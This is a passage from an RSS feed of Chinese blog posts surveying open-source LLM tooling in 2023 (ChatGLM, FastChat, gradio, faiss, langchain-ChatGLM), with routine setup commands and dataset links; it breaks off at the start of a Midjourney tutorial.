target="_blank">https://github.com/THUDM/ChatGLM-6B</a></span></p></li><li><p><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">ChatGLM2-6B</span></strong></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://github.com/THUDM/ChatGLM2-6B" target="_blank">https://github.com/THUDM/ChatGLM2-6B</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">目前中文领域效果最好，也是应用最多的开源底座模型。大部分的</span><strong><span style="font-size: 16px;">中文GPT二次开发几乎都是在这个模型的基础上做的开发</span></strong><span style="font-size: 16px;">，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong><span style="font-size: 16px;">Moss</span></strong></p></li><li><p><span style="font-size: 16px;"><a href="https://github.com/OpenLMLab/MOSS" target="_blank">https://github.com/OpenLMLab/MOSS</a></span></p></li></ul><p style="min-height: 24px;"><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">MOSS是一个支持中英双语和多种插件的开源对话语言模型</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">，</span><span style="color: rgb(31, 35, 40);font-size: 16px;">moss-moon</span><span style="color: rgb(31, 35, 40);font-size: 16px;">系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">ChatRWKV</span></strong></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://github.com/BlinkDL/ChatRWKV" target="_blank">https://github.com/BlinkDL/ChatRWKV</a></span></p></li></ul><p style="min-height: 24px;"><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">一系列基于RWKV架构的Chat模型（包括英文和中文）</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">，发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。</span></p><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 16px;">LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。</span></strong></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://github.com/HqWu-HITCS/Awesome-Chinese-LLM" target="_blank">https://github.com/HqWu-HITCS/Awesome-Chinese-LLM</a></span></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://github.com/chenking2020/FindTheChatGPTer" target="_blank">https://github.com/chenking2020/FindTheChatGPTer</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">给大家看一个通过</span><strong><span style="font-size: 16px;">一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。</span></strong></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong><span style="font-size: 16px;"><a href="https://github.com/CLUEbenchmark/SuperCLUElyb" target="_blank">https://github.com/CLUEbenchmark/SuperCLUElyb</a></span></strong></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5760956175298805" width="1140.9090661805528" data-type="png" data-w="1255" src="https://wechat2rss.xlab.app/img-proxy/?k=397bdc1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwgWzjmqaNtT3TbGyqHx4iaicZ8uooACoia1tnVIaG6T0Cl42Jmibjpd7tdg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(31, 35, 40);">Embedding</span></h2><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 16px;">Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。</span></p><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 16px;">所以也就衍生出了不少的开源Embedding模型</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese" target="_blank">https://huggingface.co/GanymedeNil/text2vec-large-chinese</a></span></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://huggingface.co/shibing624/text2vec-base-chinese" target="_blank">https://huggingface.co/shibing624/text2vec-base-chinese</a></span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.17132386623912046" width="1984.545411531591" data-type="png" data-w="2183" src="https://wechat2rss.xlab.app/img-proxy/?k=d5eca011&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRw2TaDkCvZ3GfRHvaLnYAKRftQiafsoZtnTzBYYTbMmQD5YJvqCQkCHIQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>gradio</span></h2><p style="min-height: 24px;"><strong>gradio是一个非常有名的机器学习用于数据演示的web框架。</strong><span>通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/gradio-app/gradio" target="_blank">https://github.com/gradio-app/gradio</a></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5456039441248973" width="1106.363612383851" data-type="png" data-w="1217" src="https://wechat2rss.xlab.app/img-proxy/?k=6f019a15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwSJKC5nUiaYnN2KrjxW4MnH8mYQ5icZwia4AicoicfxrK40hrbPESCmENNTg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>首先要注意gradio最起码</span><strong>python在3.8版本以上</strong><span>.</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>import gradio as gr<br/>def greet(name):<br/>    return &#34;Hello &#34; + name + &#34;!&#34;<br/>demo = gr.Interface(fn=greet, inputs=&#34;text&#34;, outputs=&#34;text&#34;)<br/>    <br/>demo.launch()</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.1337099811676083" width="1448.1817867933232" data-type="png" data-w="1593" src="https://wechat2rss.xlab.app/img-proxy/?k=f3558379&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwEsibfDZ8iasCdWUdYkGYzcDu437fzXOBRhkO5vkBghvyzJmaS7f2JDQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>gradio支持非常多这类的常用场景，就比如</span><strong>文本、勾选框、输入条，甚至文件上传、图片上传</strong><span>，都有非常不错的原生支持。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5385385385385385" width="908.1817984975078" data-type="png" data-w="999" src="https://wechat2rss.xlab.app/img-proxy/?k=a6f6adfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwIgUrDmIA8VztFTzdhz3quyQicbiaqPXMEicbLy3uUxEQXgEk59PV8Yw0w%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>FastChat</span></h2><p style="min-height: 24px;"><strong>FastChat是一个在LLM基础上构筑的一体化平台</strong><span>，FastChat是基于</span><strong>LLaMA</strong><span>做的二次调参训练。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>pip3 install fschat</code></pre><p style="min-height: 24px;"><span>正常使用需要用机器生成</span><strong>Vicuna</strong><span>模型，将LLaMa weights合并Vicuna weights。而这个过程需要</span><strong>大量的内存和CPU</strong><span>，官方给出的参考数据是</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;">Vicuna-7B：30 GB of CPU RAM</span></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;">Vicuna-13B：60 GB of CPU RAM</span></p></li></ul><p style="min-height: 24px;"><strong><span style="font-size: 16px;">如果没有足够的内存用</span></strong><span style="font-size: 16px;">，可以尝试下面两个办法来操作一下：</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">1、在命令中加入</span><strong><span style="font-size: 16px;">--low-cpu-mem</span></strong><span style="font-size: 16px;">，这个命令可以把峰值内存降到16G以下</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python3 -m fastchat.model.apply_delta \<br/>    --base-model-path /path/to/llama-7b \<br/>    --target-model-path /path/to/output/vicuna-7b \<br/>    --delta-path lmsys/vicuna-7b-delta-v1.1<br/>python3 -m fastchat.model.apply_delta \<br/>    --base-model-path /path/to/llama-13b \<br/>    --target-model-path /path/to/output/vicuna-13b \<br/>    --delta-path lmsys/vicuna-13b-delta-v1.1</code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">下载完模型文件之后，可以快捷的使用对应的模型</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0</code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">相比其他的基座模型LLM，</span><strong><span style="font-size: 16px;">FastChat的平台化</span></strong><span style="font-size: 16px;">程度就比较高了。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">首先提供了</span><strong><span style="font-size: 16px;">controller和model worker</span></strong><span style="font-size: 16px;">分别部署的方案，一对多的方案本身比较符合项目化的结构。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python3 -m fastchat.serve.controller<br/>python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights</code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">而且同样</span><strong><span style="font-size: 16px;">利用gradio构建了相应的web界面</span></strong></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python3 -m fastchat.serve.gradio_web_server</code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">除此之外FastChat还提供了</span><strong><span style="font-size: 16px;">和openai完全兼容的api接口</span></strong><span style="font-size: 16px;">和restfulapi.</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>import openai<br/>openai.api_key = &#34;EMPTY&#34; # Not support yet<br/>openai.api_base = &#34;<a href="http://localhost:8000/v1" target="_blank">http://localhost:8000/v1</a>&#34;<br/>model = &#34;vicuna-7b-v1.3&#34;<br/>prompt = &#34;Once upon a time&#34;<br/># create a completion<br/>completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=64)<br/># print the completion<br/>print(prompt + completion.choices[0].text)<br/># create a chat completion<br/>completion = openai.ChatCompletion.create(<br/>  model=model,<br/>  messages=[{&#34;role&#34;: &#34;user&#34;, &#34;content&#34;: &#34;Hello! What is your name?&#34;}]<br/>)<br/># print the completion<br/>print(completion.choices[0].message.content)</code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">甚至可以直接以api的方式接入到其他的平台中，完成度很高。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>知识库文件</span></h2><p style="min-height: 24px;"><strong><span style="font-size: 16px;">知识库文件是langchain类方案中比较重要的一环</span></strong><span style="font-size: 16px;">，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在</span><strong><span style="font-size: 16px;">比较常见的相似度检测用的都是faiss</span></strong><span style="font-size: 16px;">，构建向量数据库用于数据比对。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="font-size: 16px;"><a href="https://github.com/facebookresearch/faiss" target="_blank">https://github.com/facebookresearch/faiss</a></span></p></li></ul><table width="750"><tbody><tr style="height: 33px;"><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>知识库数据</span></p></td><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>FAISS向量</span></p></td></tr><tr style="height: 33px;"><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>中文维基百科截止4月份数据，45万</span></p></td><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>链接：</span><a href="https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn" target="_blank">https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn</a></p><p style="min-height: 24px;"><span> 提取码：l3pn</span></p></td></tr><tr style="height: 33px;"><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件</span></p></td><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>链接：</span><a href="https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij" target="_blank">https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij</a></p><p style="min-height: 24px;"><span> 提取码：exij</span></p></td></tr><tr style="height: 33px;"><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>💹 </span>大规模金融研报知识图谱</p></td><td width="375" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span>链接：</span><a href="https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv" target="_blank">https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv</a></p><p style="min-height: 24px;"><span> 提取码：ujjv</span></p></td></tr></tbody></table><p style="min-height: 24px;"><span style="font-size: 16px;">相应的现在很多应用还内置了</span><strong><span style="font-size: 16px;">用于测试知识库的接口</span></strong><span style="font-size: 16px;">，比如langchain-ChatGLM</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3013972055888224" width="1366.3636067485027" data-type="png" data-w="1503" src="https://wechat2rss.xlab.app/img-proxy/?k=057604ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwLlwnDZwRjINFE7Y66rhgTI95aBhqANjmYoyO0AX2VHMibSjjX2iaK4Mw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>通过</span><strong>微调知识相关度的阈值</strong><span>，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.3982758620689655" width="527.2727158443989" data-type="png" data-w="580" src="https://wechat2rss.xlab.app/img-proxy/?k=77751fbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwv4EC7Buib2vPKBIJd7cordia2IDG0BUBlaibnt1ia0zmQ3L8wu3mS85jnw%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>langchain</span></h1><p style="min-height: 24px;"><strong>langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案</strong><span>，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先</span><strong>进入数据库检索</strong><span>，然后找出最匹配问题的部分结果然后和问题</span><strong>一起加入到prompt的上下文</strong><span>中，最终由</span><strong>LLM生成最终的回答</strong><span>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6" width="968.1817971970429" data-type="png" data-w="1065" src="https://wechat2rss.xlab.app/img-proxy/?k=d5dcf1ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwg9hYcrxdwxyy2lK5nYck9moRvYPU5spuIqdJGrV3r1hsUVHMDbc1KQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这个方案是目前</span><strong>最经典的知识库型训练方案</strong><span>，最有效的解决了</span><strong>大模型本身训练的难度和反馈结果的有效度</strong><span>难以兼容的问题。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/hwchase17/langchain" target="_blank">https://github.com/hwchase17/langchain</a></p></li></ul><p style="min-height: 24px;"><span>建立在langchain的思想上，其实衍生了非常多比较有意思的项目，</span><strong>一方面引用了包括ChatGLM-6B等各种开源的大模型</strong><span>，也用了</span><strong>开源的embedding方案</strong><span>来处理文本。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span><a href="https://github.com/THUDM/ChatGLM-6B" target="_blank">https://github.com/THUDM/ChatGLM-6B</a></span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.29219600725952816" width="1001.818160104358" data-type="png" data-w="1102" src="https://wechat2rss.xlab.app/img-proxy/?k=49c65ad8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwFMuCIZJOOVDhI8mVFyIrP0MrDQWCZaiaSozMQIPNiaLoribfGLvXVhOQg%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main" target="_blank">https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main</a></span></p></li></ul><p style="min-height: 24px;"><span>另一方面呢也做了比较成熟的</span><strong>vue前端+知识库</strong><span>，可以快速的拼凑出可用的chat ai。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span><a href="https://github.com/imClumsyPanda/langchain-ChatGLM" target="_blank">https://github.com/imClumsyPanda/langchain-ChatGLM</a></span></p></li><li><p><span><a href="https://github.com/yanqiangmiffy/Chinese-LangChain" target="_blank">https://github.com/yanqiangmiffy/Chinese-LangChain</a></span><span>#</span><img class="rich_pages wxw-img" data-ratio="0.5930122757318225" width="962.7272518607215" data-type="png" data-w="1059" src="https://wechat2rss.xlab.app/img-proxy/?k=e8e1c3f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwZYPiaeKAPfI0m83LVBhMnD6tS7DDrUTLkuv36SRx8P37d3nicTCkHaEw%2F640%3Fwx_fmt%3Dpng"/></p></li></ul><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>langchain-ChatGLM</span></h2><p style="min-height: 24px;"><span>langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，</span><span style="color: rgb(31, 35, 40);font-size: 16px;">过程包括</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">加载文件 -&gt; 读取文本 -&gt; 文本分割 -&gt; 文本向量化 -&gt; 问句向量化 -&gt; 在文本向量中匹配出与问句向量最相似的</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 14px;">top k</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">个 -&gt; 匹配出的文本作为上下文和问题一起添加到</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 14px;">prompt</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">中 -&gt; 提交给</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 14px;">LLM</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">生成回答</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">。</span></p><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 16px;">整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;"> </span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">GanymedeNil/text2vec-large-chinese</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">，LLM 默认选用的是</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;"> </span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">ChatGLM-6B</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">。或者也可以通过</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">fastchat</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">来接入。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6749760306807286" width="948.1817976305312" data-type="png" data-w="1043" src="https://wechat2rss.xlab.app/img-proxy/?k=aeb70e57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwwKicQOpH7AJ6gdet4geDC9ITeSArrQ0BKWceBs0UWgCRUOKIjj1A43Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.11205357142857143" width="2036.3635922266442" data-type="png" data-w="2240" src="https://wechat2rss.xlab.app/img-proxy/?k=c8bfdc86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwTDOymicgpZohd2suE7ibFdQ0BwcFTnvn07vJIJ8lAJEmbiagHBx4oDASw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B" target="_blank">https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B</a></p></li></ul><p style="min-height: 24px;"><span>比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>GIT_LFS_SKIP_SMUDGE=1 git clone <a href="https://huggingface.co/THUDM/chatglm-6b" target="_blank">https://huggingface.co/THUDM/chatglm-6b</a></code></pre><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/" target="_blank">https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/</a></p></li></ul><p style="min-height: 24px;"><span>然后需要修改对应的配置文件中模型的位置，在configs/model_config.py</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.187374749498998" width="907.272707608121" data-type="png" data-w="998" src="https://wechat2rss.xlab.app/img-proxy/?k=14329057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwu4Hdwo1qu2xemLLTWlXcD8vytxvIPvh1iccfV8NRbtKph0GLG0GX9kw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>默认的知识库文件路径是</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>knowledge_base\samples</code></pre><p style="min-height: 24px;"><span>如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python cli_demo.py</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.42754541613857205" width="2151.81813517878" data-type="png" data-w="2367" src="https://wechat2rss.xlab.app/img-proxy/?k=14942ccb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwLmrXbsogqJyF4yBu6NT6B0u5Cgs1QNYsTp6ic8Iq0enQmllFs1zGwGQ%2F640%3Fwx_fmt%3Dpng"/></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>python3.10 .\webui.py</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.31681178834561285" width="1357.2726978546339" data-type="png" data-w="1493" src="https://wechat2rss.xlab.app/img-proxy/?k=a416419a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwnEo8Bk7gdCHobLVFNAn3icaO2DE8AfIQibABwjynrdXNH3vgRF8ZjdTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/07/19/aigc1/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb5c2455&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484072%26idx%3D1%26sn%3Dc29afa680609666897a6887bd1928ccc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Jul 2023 18:35:00 +0800</pubDate>
    </item>
    <item>
      <title>赛博偶像速成指南（三）- Midjourney</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484050&amp;idx=1&amp;sn=91a639457b4bbfed5d2ec1a826642f9b</link>
      <description>Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。</description>
      <content:encoded><![CDATA[<p>
<span>LoRexxar</span> <span>2023-06-21 17:36</span> <span style="display: inline-block;">北京</span>
</p>

<p>Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=671a8f2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUv7R4gUWYIVTYUnDd71h7WgPHQj4BR4cDvib5TLPsbfDaiaXP56jDWvAQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="letter-spacing: 0.034em;">之前的几篇关于AI生成图片的文章讲的都是</span><strong style="letter-spacing: 0.034em;">stable diffusion</strong><span style="letter-spacing: 0.034em;">，虽然SD</span><strong style="letter-spacing: 0.034em;">出现的更早而且开源免费</strong><span style="letter-spacing: 0.034em;">，但其实在设计圈使用更广泛的是</span><strong style="letter-spacing: 0.034em;">Midjourney</strong><span style="letter-spacing: 0.034em;">，</span><strong style="letter-spacing: 0.034em;">Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。</strong><br/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>快速入门</span></h1><p style="min-height: 24px;"><span>注册Discord并授权使用Midjourney的bot</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7308248914616498" width="628.1818045663442" data-type="png" data-w="691" 